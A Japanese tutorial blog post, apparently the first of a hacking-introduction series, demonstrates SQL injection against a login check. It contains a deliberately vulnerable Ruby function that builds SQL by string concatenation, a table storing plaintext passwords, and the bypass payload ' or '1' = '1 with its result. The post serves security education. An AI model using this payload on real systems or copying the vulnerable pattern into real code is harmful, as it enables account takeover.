【第1回ハッキング入門】データベースの脆弱性を狙った攻撃「SQLインジェクション」

スポンサーリンク
Pocket
LINEで送る

ハッキング(クラッキング)の手法を学ぶことでITセキュリティの知識が深まります。

ハッキングでもクラッキングでもどちらでもいいですが、ハッキングの方が検索されやすそうなので「ハッキング」にしてます。

※この記事の内容を自分が所有するDB以外で試すことはお止めください。

 

SQLインジェクションとは

インターネットで見れるサイトやwebサービスは基本的にデータベースを使用しています。あなたが毎日見ているSNS、ブログやインターネットメディアなどもデータベースを使用しており、そのデータベースの中に会員登録した際のメールアドレスやパスワード、ブログ記事データなどさまざまなデータが保存されています。

データベースのデータを取得、保存、更新、削除する時にはSQLというものが実行されます。

このSQLを実行することで、データベースの中身を操作することができます。

SQLインジェクションとは、このSQL発行時に予期せねSQL文を使って不正にデータベースを攻撃するというハッキング(クラッキング)手法です。

 

どういうときに使われるの?

データベースにアクセスする処理がある時に使われます。

脆弱性があれば、そこからSQLインジェクションを使いさまざまなデータ操作が行われてしまいます。

 

例えば会員サイトでログインをしようとする時、メールアドレスとパスワードを入力してログインボタンを押しますね。

この時、入力したメールアドレスとパスワードが両方とも一致した時、ログインが完了し「マイページ」に進むことができます。こういったログインページに脆弱性があった場合、SQLインジェクションで第三者に不正にログインされる危険性があります。

 

実際にやってみる

今回はrubyとmysqlを使ってSQLインジェクションを再現します。

前提としてこんな会員のテーブルがあるとします。ユーザー名とメールアドレス、パスワードがあるシンプルなテーブル構造です。

+------------+--------------+------+-----+---------------------+-----------------------------+
| Field      | Type         | Null | Key | Default             | Extra                       |
+------------+--------------+------+-----+---------------------+-----------------------------+
| id         | int(11)      | NO   | PRI | NULL                | auto_increment              |
| user_name  | varchar(255) | YES  |     | NULL                |                             |
| email      | varchar(255) | YES  |     | NULL                |                             |
| password   | varchar(255) | YES  |     | NULL                |                             |
| created_at | timestamp    | NO   |     | CURRENT_TIMESTAMP   | on update CURRENT_TIMESTAMP |
| updated_at | timestamp    | NO   |     | 0000-00-00 00:00:00 |                             |
| deleted_at | timestamp    | NO   |     | 0000-00-00 00:00:00 |                             |
+------------+--------------+------+-----+---------------------+-----------------------------+

そして以下のデータがあるとします。

+----+-----------+------------------+----------+---------------------+---------------------+---------------------+
| id | user_name | email            | password | created_at          | updated_at          | deleted_at          |
+----+-----------+------------------+----------+---------------------+---------------------+---------------------+
|  1 | jone      | hoge@example.com | 12345678 | 2016-07-11 22:50:11 | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 |
|  2 | bob       | foo@example.com  | 87654321 | 2016-07-11 22:50:11 | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 |
+----+-----------+------------------+----------+---------------------+---------------------+---------------------+

そしてログインチェックの処理がかかれたプログラムは以下です

スポンサーリンク
require 'mysql'
def login(email, password)
   db = Mysql.connect('HOST','USER NAME', 'PASSWORD','DB NAME')
   select = "select email, password from users where email = '" << email << "' and password = '" << password << "';"
   puts select
   data = db.query(select).first
 
   if data.nil?
     puts "login Error"
   else
     puts "login OK"
     puts data
 end
end

#ログインフォームに入力してログイン
login("foo@example.com", "87654321")

何の対策もしていないのでSQLインジェクションが通るようになっています。

さて上記の処理はユーザー「bob」が正確なメールアドレスとパスワードを入力していた場合の処理です。

実行してみます。

login OK

ログインできました。

では、bobのアカウントで悪さをしたいので不正にログインしてみたいと思います。

こちらの持っている情報はメールアドレスだけです。

login("foo@example.com", "12456aaa")

パスワードを適当に入力してみましたが当然ログイン出来ず。

login Error

SQLインジェクションを使ってログインしてみます。

login("foo@example.com", "' or '1' = '1")

パスワードに「’or ‘1’ = ‘1」を入力しました。

すると…

login OK

ログインできました。

パスワードがわからないのにログイン出来てしまいました。

何がおこったのでしょうか?

通常通りの使い方をしていればこのようなSQLが実行されます。

select email, password from users where email = ‘foo@example.com’ and password = ‘87654321’;

このパスワードの部分に「’or ‘1’ = ‘1」この値を入力するとこうなります。

select email, password from users where email = ‘foo@example.com’ and password = ” or ‘1’ = ‘1’;

emailが一致していてパスワードが空ですが、その後のor 1 = 1が「true」になるのでログインすることができます。

このように何の対策もされていない場合、簡単に不正ログインが出来てしまいます。

「SQLインジェクション対策の対策について」続く…

【悪用厳禁】自分のWordPressブログにブルートフォースアタックをしてみた